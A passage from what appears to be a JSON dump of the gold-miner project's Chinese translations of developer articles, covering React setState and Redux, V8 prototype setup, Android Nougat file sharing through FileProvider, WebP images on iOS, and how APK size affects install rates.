1});\nthis.setState({count: state.count + 1});\nthis.setState({count: state.count + 1});\n```\n\n然后天真就地以为 `{count: 3}`。批量化处理后对象的同名 props 被合并掉的情况几乎不可能是用户所期望的行为，反正我是没见过这种例子。要是真存在这种情况，那我必须说这跟 React 的实现细节耦合地太紧密了，根本不能作为有效参考用例。\n\n我也希望 API 文档中有关 `setState()` 的章节能够加上[“ state 和声明周期”](https://facebook.github.io/react/docs/state-and-lifecycle.html)这一深度指南的链接，这能给那些想要全面学习 `setState()` 的用户更多的细节内容。`setState()` 并非同步操作，也无任何有意义的返回结果，仅仅是简单地描述其函数签名而没有深入地探讨其各种影响和表现，这对初学者是极不友好的。\n\n初学者必须花上大量时间去找出问题：Google 上搜、StackOverflow 上搜、GitHub issues 里搜。\n\n### setState() 为何如此严苛？ ###\n\nsetState() 的怪异表现并非 bug，而是特性。实际上，甚至可以说**这是 React 之所以存在的根本原因**。\n\nReact 的一大创作动机就是保证确定性渲染：给定应用 state ，渲染出特定结果。理想情况下，给定 state 相同，渲染结果也应相同。\n\n为了达到此目的，当发生变化时，React 通过采取一些限制性手段来**管理**变化。我们不能随意取得某些 DOM 节点然后就地修改之。相反，React 负责 DOM 渲染；当 state 发生改变时，也由React 决定如何重绘。**我们不渲染 DOM，而是由 React 来负责**。\n\n为了避免在 state 更新的过程中触发重绘，React 引入了一条规则：\n\nReact 用于渲染的 state 不能在 DOM 渲染的过程中发生改变。**我们不能决定组件 state 何时得到更新，而是由 React 来决定**。\n\n困惑就此而来。当你调用 `setState()` 时，你以为你设置了 state ，其实并没有。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cGqz_qxBGnJTsGygPe8ItQ.jpeg\">\n\n“你就接着装逼，你以为你所以为的就是你所以为的吗？”\n\n### 何时使用 setState()？ ###\n\n我一般只在不需要持久化 state 的自包含功能单元中使用 `setState()`，例如可复用的表单校验组件、自定义的日期或时间选择部件（widget）、可自定义界面的数据可视化部件等。\n\n我称这种组件为“小部件（widget）”，它们一般由两个或两个以上组件构成：一个负责内部 state 管理的容器组件，一个或多个负责界面显示的子组件\n\n几条立见分晓的检验方法（litmus tests）：\n\n- 是否有其他组件是否依赖于该 state ？\n- 是否需要持久化 state ？（存储于 local storage 或服务器）\n\n如果这两个问题的答案都是“否”的话，那使用 `setState()` 基本是没问题的；否则，就要另作考虑了。\n\n据我所知，Facebook 使用受管于 [Relay container](https://facebook.github.io/relay/) 的 `setState()` 来包装 Facebook UI 的各个不同部分，例如大型 Facebook 应用内部的迷你型应用。于 Facebook 而言，以这种方式将复杂的数据依赖和需要实际使用这些数据的组件放在一起是很好的。\n\n对于大型（企业级）应用，我也推荐这种策略。如果你的应用代码量非常大（十万行以上），那此策略可能是很好的 —— 但这并不意味着这种方式就不能应用于小型应用中。\n\n类似地，并不意味着你不能将大型应用拆分成多个独立的迷你型应用。我自己就结合 Redux为企业级应用这样做过。例如，我经常将分析面板、消息管理、系统管理、团队/成员角色管理以及账单管理等模块拆分成多个独立的应用，每个应用都有其自己的 Redux store。通过 API tokens 和 OAuth，这些应用共享同一个域下的登录/session 管理，感觉就像是一个统一的应用。\n\n对于大多数应用，我建议**默认使用 Redux**。需要指出的是，Dan Abramov（Redux 的作者）在这一点上和我持相反的观点。他喜欢应用尽可能地保持简单，这当然没错。传统社区有句格言如是说：“除非真得感到痛苦，否则就别用 Redux”。\n\n而我的观点是：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*z_XSyNy2GoSEOipCeOVM_g.jpeg\">\n\n“不知道自己正走在黑暗中的人是永远不会去搜寻光明的“。\n\n正如我说过的，**在某些情况下**，Redux 比 `setState()` 更简单。通过消除一切和共享的可变 state 以及同步依赖有关的 bug，Redux 简化了 state 管理问题。\n\n`setState()` 肯定要学，但即使你不想使用 Redux，你也应该学学 Redux。无论你采用何种解决方案，它都能让你从新的角度思考去应用的 state 管理问题，也可能能帮你简化应用 state。\n\n对于有大量衍生（derived ） state 的应用而言， [MobX](https://github.com/mobxjs/mobx) 可能会比 `setState()` 和 Redux 都要好，因为它非常擅于高效地管理和组织需要通过计算得到的（calculated ） state 。\n\n得利于其细粒度的、可观察的订阅模型，MobX也很擅于高效渲染大量（数以万计）动态 DOM 节点。因此，如果你正在开发的是一款图形游戏，或者是一个监控所有企业级微服务实例的控制台，那 MobX 可能是个很好的选择，它非常有利于实时地可视化展示这种复杂的信息。\n\n### 接下来 ###\n\n想要全面学习如何用 React 和 Redux 开发软件？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n[<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg\">\n](https://ericelliottjs.com/product/lifetime-access-pass/)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的**作者**。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN**和**BBC**等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher** , **Frank Ocean** , **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美的女子在一起（译注：这是怕老婆呢还是怕老婆呢还是怕老婆呢？）。\n"
  },
  {
    "path": "TODO/setting-up-prototypes-in-v8.md",
    "content": "> * 原文地址：[Setting up prototypes in V8](https://medium.com/@tverwaes/setting-up-prototypes-in-v8-ec9c9491dfe2)\n> * 原文作者：[Toon Verwaest](https://medium.com/@tverwaes?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/setting-up-prototypes-in-v8.md](https://github.com/xitu/gold-miner/blob/master/TODO/setting-up-prototypes-in-v8.md)\n> * 译者：[缪宇](https://juejin.im/user/57df39fca0bb9f0058a3c63d/posts)\n> * 校对者：[zhmhhu](https://github.com/zhmhhu) [老教授](https://juejin.im/user/58ff449a61ff4b00667a745c) \n\n# 在 V8 引擎中设置原型（prototypes）\n\n原型（比如 `func.prototype` ）是用来模拟类的实现。它们通常包含类的所有方法，它们的 `__proto__` 就是“父类（superclass）”，它们设置好后就不会修改了。\n\n原型在设置时的性能表现对于应用程序的启动时间至关重要，因为此时通常要建立起整个类的层次结构。\n\n\n### 转换对象形态（Transitioning object shapes）\n\n对象被编码的主要方式是将**隐藏类（描述）**和**对象（内容）**分隔开。当一个对象被实例化，和之前来自同一个构造函数的对象使用相同的**初始化隐藏类**。当属性被添加，对象从一个隐藏类切换到另一个隐藏类，通常是在所谓的“转换树（transition tree）”中重复之前的转换。举个例子，比如我们有以下的构造函数：\n\n```\nfunction C() {\n  this.a = 1;\n  this.b = 2;\n}\n```\n如果我们实例化一个对象 `var o = new C()`，它首先会使用一个没有任何属性的初始化隐藏类 M0。当 `a` 被添加，我们将从 M0 切换到一个新的隐藏类 M1，M1 描述属性 `a`。接着添加 `b` 的时候，我们再切换到另一个新的隐藏类来描述 `a` 和 `b`。\n\n如果我们现在实例化第二个对象 `var o2 = new C()`，它将重复上面的转换。从 M0 开始，接着 M1，最后是 M2。`a` 和 `b` 被添加完成。\n\n这样做有三个重要的好处：\n\n1.  尽管创建第一个对象的开销是很大的，并且要求我们创建所有隐藏的类和转换，但是创建后续对象是非常快的。\n2.  结果对象比完整的字典要小。我们只需要在对象中存储值，而不需要存储关于属性的信息（比如名称）。\n3.  我们现在在内联缓存（inline cache）和优化代码时有一个对象形态可以使用，以后访问类似形态的对象就可以在同一位置找，方便快捷。\n\n这样有利于频繁创建相似形态的对象。同样的事情也发生在对象字面量中：`{a:1, b:2}` 内部也会有隐藏类 M0，M1 和 M2。\n\n网上有很多相关知识讲解，大家可以去看看 Lars Bak 的视频：\n\nYouTube 视频见：[V8: an open source JavaScript engine](https://youtu.be/hWhMKalEicY)\n\n### 原型（Prototypes）就像特别的雪花\n\n不同于常规构造函数实例化对象，原型是典型的不与其他对象分享形态的对象。这会带来三点变化：\n\n1.  通常来讲，没有对象能从缓存的转换（cached transitions）中受益，而且设置转换树（transition tree）的开销也是没有必要的。\n2.  创建所有转换隐藏类的内存开销是很大的。事实上，在改变这个之前，我们通常会看到为了一个简单的原型就要用上一大堆的隐藏类。\n3.  从一个原型中加载实际上并不像在原型链中使用那么常见。如果我们通过原型链从一个原型对象中加载，我们将不会分发原型的隐藏类，以及需要用不同的方法检查它是否有效。\n\n为了优化原型，V8 对其形态的跟踪不同于常规的转换对象，我们不需要跟踪转换树（transition tree），而是将隐藏类调整为原型对象，让它保持高性能。举个例子，比如执行 `delete object.property` 会拖慢对象的性能，但如果是原型就不会出现这种情况。因为我们总是会保持它们的可缓存性（有些问题我们还在解决中）。\n\n我们也改变了原型的设置。原型包含了2个重要的阶段：**设置**和**使用**。原型在**设置**阶段被编译成字典对象（dictionary objects）。在那个状态下存储原型的速度非常快的，而且不需要进入 C++ 的运行时（跨边界的花销是非常巨大的）。与创建一个转换隐藏类来初始化对象相比，这是一个巨大的进步，因为前者必须进入C++ 运行时才行。\n\n任何对原型的直接访问，或者通过原型链访问原型，都会将它切换成**使用**状态，这样确保了所有访问从此时开始是快速的。当处于使用状态，即使你删除属性，在删除之后我们也会快速的切换回来。\n\n```\nfunction Foo() {}\n// 现在 proto 对象是\"设置\"模式。\nvar proto = Foo.prototype;\nproto.method1 = function() { ... }\nproto.method2 = function() { ... }\n\nvar o = new Foo();\n// 切换 proto 到\"使用\"模式。\no.method1();\n\n// 也会切换 proto 到\"使用\"模式。\nproto.method1.call(o);\n```\n\n### 它是原型吗？\n\n为了用上上面说的优化方法，我们需要知道一个对象是否真的会被作为原型使用。由于 JavaScript 的特性，我们很难在编译阶段分析你的代码。出于这个原因，我们甚至没有尝试在对象创建过程中确定什么东西最终会成为原型（当然，以后可能会发生变化）。一旦我们看到一个对象赋值给一个原型，我们将对它进行标记。举个例子来讲：\n\n```\nvar o = {x:1};\nfunc.prototype = o;\n```\n\n一开始我们也不知道 `o` 用作原型，直到赋值给 `func.prototype`。我像往常那样花费巨大的开销来创建对象。一旦像它那样被赋值，它就被标记成原型，进入**设置**阶段。当你使用它，就会进入**使用**阶段。\n\n如果你像下面这样写，我们会在属性添加前就知道 `o` 是一个原型。于是它将在添加属性前进入设置阶段，后面的代码执行就会快得多：\n\n```\nvar o = {};\nfunc.prototype = o;\no.x = 1;\n```\n\n注意你也可以这样使用 `var o = func.prototype`，因为很显然 `func.prototype` 在创建时就知道它是一个原型。\n\n### 怎样设置原型（prototypes）？\n\n如果你用下面的方式设置原型，我们在方法添加之前很容易就知道 func.prototype 就是一个原型：\n\n```\n// 如果默认的 Object.prototype 为 __proto__，则省略下面这行代码。\nfunc.prototype = Object.create(…);\nfunc.prototype.method1 = …\nfunc.prototype.method2 = …\n```\n\n虽然已经很不错了，但事实上我们不得不为每个方法都加载一次 `func.prototype`。尽管最近我们正在进一步优化 `func.prototype` 的加载，但这种加载是不必要的，性能和内存的使用将比直接访问本地变量访问更糟糕。\n\n简而言之，理想的原型设置方法如下：\n\n```\nvar proto = func.prototype = Object.create(…);\nproto.method1 = …\nproto.method2 = …\n```\n\n感谢 [Benedikt Meurer](https://medium.com/@bmeurer?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/sharing-files-though-intents-are-you-ready-for-nougat.md",
    "content": "> * 原文地址：[Sharing files through Intents: are you ready for Nougat?](https://medium.com/@quiro91/sharing-files-though-intents-are-you-ready-for-nougat-70f7e9294a0b#.8d2johavz)\n* 原文作者：[Lorenzo Quiroli](https://medium.com/@quiro91?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[skyar2009](https://github.com/skyar2009)\n* 校对者：[dubuqingfeng](https://github.com/dubuqingfeng), [tanglie1993](https://github.com/tanglie1993)\n\n# Android Nougat 中通过 Intents 共享文件，你准备好了吗？\n\n**从 Android 7.0 Nougat 开始，你将不能使用 Intent 传递 file:// URI 的方式访问你主包之外的文件，但是无需苦恼：下面将介绍如何解决这个问题。**\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*OlPkbZzZ4fNdrPNcewWAlA.jpeg\">\n\n**Android 7.0 Nougat** 为了提高安全性引入了一些 **文件系统权限变更**。如果你已经将 app 的 **targetSdkVersion** 升级为 24 （或者更高），并且你通过 [Intent](https://developer.android.com/reference/android/content/Intent.html) 传递 **file://**[URI](https://developer.android.com/reference/android/net/Uri.html) 来访问你的主包之外的文件，那么你将会遇到 [FileUriExposedException](https://developer.android.com/reference/android/os/FileUriExposedException.html) 的异常。\n\n#### 为什么会这样呢？ ####\n\n根据官方文档介绍：\n\n> 为提高私有文件的安全性，在 Android 7.0 及以上的应用中的私有目录有着更严格的访问权限 （`0700`）。这个设定可以防止私有文件元数据的泄漏（比如文件的大小或者是否存在）。\n\n当你通过 **file://** [URI](https://developer.android.com/reference/android/net/Uri.html)方式共享一个文件时，你同时修改了它的文件系统权限，使得它对所有应用都是可访问的（直到你再次修改它）。毋庸置疑这种方法是不安全的。\n\n#### Ok, 但是这个问题只会影响 Nougat, 那我现在还需要修复吗？ ####\n\n长话短说，当然需要。\n\n确实，目前来说这个问题并不会影响很大范围的 Android 设备，但是这不仅仅是你不采用新特性的问题 —— 如果不解决，在 Nougat 设备上会崩溃，并且在以前的版本上是不安全的。而且修复这个问题并不困难，所以在你的应用发生奔溃以及你的用户开始抱怨之前，修复这个问题确实是值得的。\n\n#### 是时候亮代码了 ####\n\n最典型的例子（我也是通过它发现的这种问题），是当拍照时你给相机传递了一个文件 [URI](https://developer.android.com/reference/android/net/Uri.html) 来获取拍照后的照片。如果你想具体看看，在本文的结尾你可以找到一个 GitHub 代码库。\n\n![Markdown](http://p1.bqimg.com/1949/46be5570af09f88d.png)\n\n我们创建了一个文件，并把文件的 [URI](https://developer.android.com/reference/android/net/Uri.html) 传给了 [Intent](https://developer.android.com/reference/android/content/Intent.html) 来从相机应用接收文件（我们应用主包之外的路径）。这段代码在 Marshmallow 或更低版本上是正常的，在 Nougat、 SDK 24 版本或更高的版本，你会遇到类似下面的堆栈信息：\n\n```\n\n02-06 17:30:00.476 22265-22265/com.quiro.fileproviderexample E/AndroidRuntime: FATAL EXCEPTION: main\n\nProcess: com.quiro.fileproviderexample, PID: 22265\nandroid.os.FileUriExposedException: file:///storage/emulated/0/Pictures/pics/JPEG_20170206_173000966174899.jpg exposed beyond app through ClipData.Item.getUri()\nat android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)\nat android.net.Uri.checkFileUriExposed(Uri.java:2346)\nat android.content.ClipData.prepareToLeaveProcess(ClipData.java:845)\nat android.content.Intent.prepareToLeaveProcess(Intent.java:8941)\nat android.content.Intent.prepareToLeaveProcess(Intent.java:8926)\nat android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)\nat android.app.Activity.startActivityForResult(Activity.java:4225)\nat android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)\nat android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)\nat android.app.Activity.startActivityForResult(Activity.java:4183)\nat android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:859)\nat com.quiro.fileproviderexample.MainActivity.takePicture(MainActivity.java:70)\nat com.quiro.fileproviderexample.MainActivity$1.onClick(MainActivity.java:42)\nat android.view.View.performClick(View.java:5637)\nat android.view.View$PerformClick.run(View.java:22429)\nat android.os.Handler.handleCallback(Handler.java:751)\nat android.os.Handler.dispatchMessage(Handler.java:95)\nat android.os.Looper.loop(Looper.java:154)\nat android.app.ActivityThread.main(ActivityThread.java:6119)\nat java.lang.reflect.Method.invoke(Native Method)\nat com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:886)\nat com.android.internal.os.ZygoteInit.main(ZygoteInit.java:776)                                                                                  \n```\n\n#### 解决方案 —— FileProvider ####\n\nFileProvider 是 ContentProvider 的子类，FileProvider 允许我们使用 *content://* URI 的方式取代 *file://* 实现文件的安全共享。为什么这种方法更好？因为你为文件赋予了临时的访问权限 —— 仅仅允许接收者 activity 和 service 运行时才能访问。\n\n首先，我们在 *AndroidManifest.xml* 中添加 `FileProvider`\n\n```\n<manifest>\n    ...\n    <application>\n        ...\n        <provider\n            android:name=\"android.support.v4.content.FileProvider\"\n            android:authorities=\"@string/file_provider_authority\"\n            android:exported=\"false\"\n            android:grantUriPermissions=\"true\">\n            <meta-data\n                android:name=\"android.support.FILE_PROVIDER_PATHS\"\n                android:resource=\"@xml/file_provider_paths\" />\n        </provider>\n        ...\n    </application>\n</manifest>\n```\n\n我们将 `android:exported` 设置为禁止，因为我们不需要在其他应用使用；将 `android:grantUriPermissions` 设置为允许，因为这样才能给予文件临时访问权限；以及通过 `android:authorities` 设置管理的域。如果你的域为 `com.quiro.fileproviderexample`，你可以使用类似 `com.quiro.fileproviderexample.provider` 的内容来访问。提供者的授权标识应该是唯一的，所以我们往往会使用应用的包名加上类似 **.fileprovider:** 的内容。\n\n```\n<string name=\"file_provider_authority\" \ntranslatable=\"false\">com.quiro.fileproviderexample.fileprovider</string>\n```\n\n接下来我们需要在 res/xml 目录下创建 file_provider_path。这个文件用来定义允许安全共享的文件目录。在我们的例子中，我们只需要访问外部存储目录：\n\n```\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<paths>\n    <external-path\n        name=\"external_files\" path=\".\" />\n</paths>\n```\n\n最后，修改我们的代码：\n\n![Markdown](http://p1.bqimg.com/1949/2d62a56e6e9d8909.png)\n\n用 `FileProvider.getUriForFile(context, string, file)` 的方式取代 `Uri.fromFile(file)` 来创建我们的 URI，`FileProvider.getUriForFile(context, string, file)` 会生成一个有权限访问我们所指向文件的 content://* URI。\n\n接收者应用通过调用 [ContentResolver.openFileDescriptor](https://developer.android.com/reference/android/content/ContentResolver.html#openFileDescriptor%28android.net.Uri,%20java.lang.String%29) 来访问文件。在我们代码中 `Intent` 是供相机应用使用的，所以我们无需添加其他代码。\n"
  },
  {
    "path": "TODO/shaving-our-image-size.md",
    "content": ">* 原文链接 : [Shaving Our Image Size](http://engineering.dollarshaveclub.com/shaving-our-image-size/?utm_campaign=iOS%2BDev%2BWeekly&utm_medium=email&utm_source=iOS_Dev_Weekly_Issue_247)\n* 原文作者 : [DALTON CHERRY](https://github.com/daltoniam)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](https://github.com/circlelove)\n* 校对者: [rockzhai](https://github.com/rockzhai) ，  [ldhlfzysys](https://github.com/ldhlfzysys)\n\n# 使用 webP 减少图片的大小\n\n图片是我们给用户展示产品的利器。老话说的好，“一图胜千言”！图像往往能表达出语言所不能及的含义。当然，由于移动设备带宽和资源限制，图片也带来了一系列突出的技术挑战。\n\n我们在 DSC 上面临的技术挑战就是产品图像对于透明 alpha 通道的需求。我们已经在 app 上采用了美丽的仿木背景，此外还需要采用带有透明 alpha 通道的格式。最常见的 ios 系统图片格式是 PNG 格式。PNG 格式看上去很不错，加载也快，支持原生 iOS 。\n一个主要的缺点是，我们的高保真度的产品图片尺寸都很大。许多这些产品图片是几兆字节的大小，而我们的应用程序有数百幅的图像。\n\n我们为之开发了一个 WebP 视图控件为 iOS 应用来查看图片。 你可以在[on Github](https://github.com/dollarshaveclub/ImageButter). 找到它。\n\n\n![Alt](http://engineering.dollarshaveclub.com/assets/images/articles/2016-04-07-shaving-our-image-size/img-comp.png)\n\n## 一个小的背景\n\n我们在提交 APP 到应用商店和在应用商店下载 APP 的时候都需要上传或下载这些大量的 PNG 格式的大图。这些显示的是不同的方案。一个需要我们在展示之前解压，另一个可能需要我们通过慢吞吞的网络去下载几百兆资源图片。 我们最终决定为我们第一个发行版选择压缩的方式。当然，这省下了大量带宽，却依然让这款 APP 安装后的大小高达230 MB。 幸运的是，这个故事并没有结束， （咚咚咚咚。。。。一连串鼓声表示到了精彩部分），我们还能够减小图片的尺寸。\n\n## 消减尺寸\n我们需要一个支持透明 alpha 通道而且比 PNG 小的图片格式。偶然发现了 Google 的 [WebP](https://developers.google.com/speed/webp)  。经过我们的测试显示 WebP 格式化的图片仅有原来 PNG 参考版本的十分之一大小，他们也同样支持透明 alpha 通道。这样就在下载和缓存新图片的时候省下来带宽和磁盘空间。其主要的不足在于 WebP 图片需要更长的解码，而 iOS 原生系统并不支持这种格式。我们感觉图片大小的减少值得花更长时间解码，于是致力于为 iOS 构建一个 WebP 图片查看器。\n\n我们开始开发 WebP 的 C 程序源代码作为框架（其实更像是 Swift 框架）。之后利用 WebP C API 耦合在一个 Object-C 的类当中（一个Swift 的版本是在工作中！）来创建一个叫做 `WebPImage` 的类。之后用 `WebPImage`更像是在利用标准 `UIImage` 类。主要的不同在于 `WebPImage`是解决缓慢异步解码 WebP 图片数据的。它同时支持所有原生 iOS 格式，像 PNG 和 JPEG ，还有一些非标准的，例如动态 GIF 和 WebP 图片数据的，因为我们的 app 当中也有惊艳的动态图像。\n\n\n    WebPImageView *imgView = [[WebPImageView alloc] initWithFrame:CGRectMake(0, 30, 300, 300)];\n    [self.view addSubview:imgView];\n    imgView.url = [NSURL URLWithString:@\"https://yourUrl/imageName@3x.webp\"];\n\n    // Add the loading View.\n    WebPLoadingView *loadingView = [[WebPLoadingView alloc] init];\n    loadingView.lineColor = [UIColor orangeColor];\n    loadingView.lineWidth = 8;\n\n    // Add the loading view to the imageView.\n    imgView.loadingView = loadingView;\n\n    // If you want to add some inset on the image.\n    CGFloat pad = 20;\n    imgView.loadingInset = UIEdgeInsetsMake(pad, pad, pad*2, pad*2);\n\n你可以[在github里面找到上述代码](https://github.com/dollarshaveclub/ImageButter)\n\n之后我们创建了 `WebPImageView` ，也就是功能升级了的 `UIImageView` 。它提供远程缓存图片和下载解码进度条的 URL 。这样我们就可以用我们的 `WebPImageView`  替换所有的 `UIImageView` ，充分利用 WebP 格式的优势，进行“网络可用”的图片查看。\n\n\n##结论\n![Alt](http://engineering.dollarshaveclub.com/assets/images/articles/2016-04-07-shaving-our-image-size/image-size-graph.png)\n\n截至文章写作时，我们可以将首次发行的 app 从230 MB 减小到仅有30 MB，里面还包含了更多的图片。这样的结果使得 **利用 WebP 格式压缩了七倍以上的尺寸** 。这需要我们复制和提交一些 iOS 已有的 UI 组件并创建 PNG 转换为 WebP 展开的进程，但是我们相信结果说明了我们努力的一切。我们就可以为 iOS 用户提供良好的体验，既满足他们的数据计划，又尊重了他们的存储需求。Dollar Shave Club ，减小图片来减小世界。\n"
  },
  {
    "path": "TODO/shrinking-apks-growing-installs.md",
    "content": "> * 原文地址：[Shrinking APKs, growing installs: How your app’s APK size impacts install conversion rates](https://medium.com/googleplaydev/shrinking-apks-growing-installs-5d3fcba23ce2)\n> * 原文作者：[Sam Tolomei](https://medium.com/@samueltolomei?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/shrinking-apks-growing-installs.md](https://github.com/xitu/gold-miner/blob/master/TODO/shrinking-apks-growing-installs.md)\n> * 译者：[tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[swants](http://www.swants.cn), [corresponding](https://github.com/corresponding)\n\n# 缩小APK，增加下载量\n\n## 你的APK大小是如何影响下载转化率的\n\n![](https://cdn-images-1.medium.com/max/800/0*f1gQ1k1n3_d4-x9t.)\n\n自从 Android Marketplace （Google Play 的前身）在 2012 年 3 月上线以来，**app 的平均大小增长了四倍**。随着移动 app 的不断成熟，开发者们不断增加新的特性来服务和吸引用户，这使不少人从中受益。然而，随着 app 的特性越来越多——更多 SDK、更高分辨率的图片、更好的图形—— APK 也变得越来越大。在本文中，我讨论了 APK 大小的重要性，并且分析了 Google 在过去 2 年中所做的用户体验研究的结果。\n![](https://cdn-images-1.medium.com/max/800/0*nLLV6VxsHaagxgCk.)\n\n下载的 APK 的平均大小随时间的变化（Google 内部数据）\n\n发现 APK 在变大之后，我们分析了 APK 大小对下载转化率的影响。我们发现，**更小的 APK 对应着更高的下载转化率**，对于新兴市场中的用户而言尤其如此。在许多开发者把注意力投入到向新市场（特别是新兴市场）扩张中去的情况下，关注 app 的大小就显得很重要。\n\n### **APK 大小是否会影响下载转化率？**\n\n为了研究 APK 大小对用户的选择是否有显著影响，我们分析了**用户在浏览了 Play store 中的一个项目之后成功下载这个 app 的百分比**。\n\n![](https://cdn-images-1.medium.com/max/800/1*XxnZXaLarvTKJD-pnhVBUg.png)\n\n在 App store  的相应页面中，你可以通过点击“Read More”看到一个 app 的大小。\n\n这看起来还是有些意义的！总的来说，我们发现在小于 100 MB 的情况下，APK 大小和下载转化率之间存在负相关。**一个 APK 的大小每增长 6 MB，下载转化率就有 1% 的降低**。在市场团队使用 A/B 测试来优化下载转化率的情况下，APK 大小会有重大影响。\n\n这个下降中的一个重要部分不是因为用户选择了不下载，而是下载由于种种原因没有成功。我们发现，一个 10MB 的 app 的下载完成率将比 100MB 的 app 高**大约 30%**。\n\n这可能是因为：\n\n1. 用户考虑了需要下载的数据量（以及数据的**价格**）。\n2. 在他们的移动网络或 wifi 中的 **下载所需时间** （人们经常陷入“我现在就要这个 app！”的思维模式）。\n3. 下载过程中的 **网络连接性问题**。\n\n### **人们对 APK 大小的偏好和下载转化率是否会因地域而异？**\n\n这是一个好问题，答案是肯定的。在新兴市场中，有许多没能使用到稳定 wifi 的用户，他们需要支付流量的费用。\n\n**超过 50% 的印度和印尼安卓智能手机用户完全没有 wifi**。所以如果一个用户需要下载一个 app，他很可能要为 APK 的每一 MB 付费（Google 内部数据，2017年）。\n\n![](https://cdn-images-1.medium.com/max/800/0*TNaKtrVPw31uV3me.)\n\n印度 wifi 普及率调查 (Google 内部安卓用户调查)\n\n与之相似, 出于流量价格和存储空间的考虑，**新兴市场中大约 70% 的用户会在下载前考虑 app 的大小**。\n\n![](https://cdn-images-1.medium.com/max/800/0*OH32EpFgpqb-tm2P.)\n\n被调查的印尼用户中会在安装时考虑 app 大小的人所占百分比 (Google 内部安卓用户调查)\n\n![](https://cdn-images-1.medium.com/max/800/0*juzFS4rHk1SJqa5a.)\n\n安装时会考虑 app 大小的用户这样做的原因 (Google 内部安卓用户调查)\n\n我们可以看到，这些市场偏好非常显著。比如，新兴市场（如中东、非洲和东南亚）用户下载的 APK 的平均大小，**是发达市场（如美国和西欧）的四分之一**。\n\n![](https://cdn-images-1.medium.com/max/800/0*PgaK63Sz_T4s0Ezw.)\n\nAPK 大小中位数，根据下载量加权，按市场分类。绿色 = 更大的中位数 APK 大小，红色 = 更小的 中位数 APK 大小（Google 内部数据）。\n\n研究下载转化率数据，就可以发现新兴市场（如印度和巴西）和发达市场（如日本、美国和德国）相比，在面对越来越大的 APK 时会有不同的反应。\n\n![](https://cdn-images-1.medium.com/max/800/1*oa_4HPWrqANWG7WKwJl3OQ.png)\n\nAPK 每缩小 10MB 对应下载转化率的增加，按市场分类（Google 内部数据）。\n\n从上图中，我们可以看到 APK 缩小 10MB，在印度和巴西造成的影响会比德国、美国和日本更大。从 APK 中移除 10MB 内容，在新兴市场中对应着 **下载转化率 2.5% 的增长**。\n\n让我们把实际的数字填入下载转化率的增长中：如果你的 app 在印度每个月有 10000 下载量，转化率 20%，缩小 10MB 可以使得下载量每月增加 1140 左右。\n\n最后，当把非游戏的 app 和游戏比较时，我们可以在下载转化率和 APK 大小之间看到类似的关系。但是，对于超过 500MB 的游戏而言，用户们对于 APK 大小的微小变化更不敏感。对于 500-3000MB 的游戏而言，APK 每缩小 200MB，下载转化率只增加 1%。\n\n### **那么，我是否应该缩小 APK？如果应该，该怎么做？**\n\n根据以上数据很容易看出，对于全世界人民来说 APK 大小都是很重要的。\n\n“这很重要，” 你说，“但是我具体可以如何缩小 APK 呢？” 我很高兴你这样问了！缩小 APK 有以下几个入门要点：\n\n*   [**缩小 APK**](https://developer.android.com/topic/performance/reduce-apk-size.html)安卓开发者网站上的入门教材，它包含了移除不使用的资源和压缩图片文件。\n\n*   [**Building for Billions 指南**](https://developer.android.com/develop/quality-guidelines/building-for-billions.html), 在安卓开发者网站上，它讨论了缩小 APK，以及其它针对新兴市场的措施。\n*   [**如何针对新兴市场优化你的应用**](https://medium.com/googleplaydev/how-to-optimize-your-android-app-for-emerging-markets-7124c4180fc), 我们团队的另一篇 medium 文章。针对新兴市场，通过三个 app 去分析优化带来的好处。\n\n至于其他的针对新兴市场的考虑，可以去 Google Play 的 [Building for Billions](https://developer.android.com/topic/billions/index.html) 网站上寻找指导。\n\n我花很多篇幅讨论了在新兴市场中缩小 APK 的好处。还有一个另外的缩小 APK 